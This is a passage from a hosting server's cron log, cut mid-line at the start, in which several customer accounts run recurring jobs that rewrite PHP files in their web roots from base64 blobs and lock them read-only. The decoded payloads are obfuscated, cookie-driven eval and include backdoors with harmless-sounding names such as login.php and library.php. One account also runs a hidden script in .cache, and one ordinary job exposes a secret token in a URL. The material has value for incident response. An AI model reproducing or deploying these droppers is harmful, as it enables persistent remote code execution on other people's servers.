SgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:33:02 medusa CROND[24366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:33:02 medusa CROND[24367]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:33:02 medusa CROND[24368]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:33:02 medusa CROND[24374]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:33:02 medusa CROND[24376]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:33:02 medusa CROND[24378]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:34:01 medusa CROND[29411]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:34:01 medusa CROND[29412]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:34:01 medusa CROND[29413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:34:01 medusa CROND[29415]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:34:01 medusa CROND[29416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:34:01 medusa CROND[29418]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:34:01 medusa CROND[29419]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:34:01 medusa CROND[29420]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:34:01 medusa CROND[29422]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:34:01 medusa CROND[29423]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:34:01 medusa CROND[29426]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 02:34:01 medusa CROND[29427]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:34:01 medusa CROND[29429]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:35:01 medusa CROND[5545]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 02:35:01 medusa CROND[5553]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:35:01 medusa CROND[5620]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 02:35:02 medusa CROND[5757]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 02:35:02 medusa CROND[5783]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 02:35:02 medusa CROND[5787]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:35:02 medusa CROND[5792]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 02:35:02 medusa CROND[5794]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 02:35:02 medusa CROND[5796]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 02:35:02 medusa CROND[5797]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:35:02 medusa CROND[5795]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 02:35:02 medusa CROND[5800]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:35:02 medusa CROND[5802]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
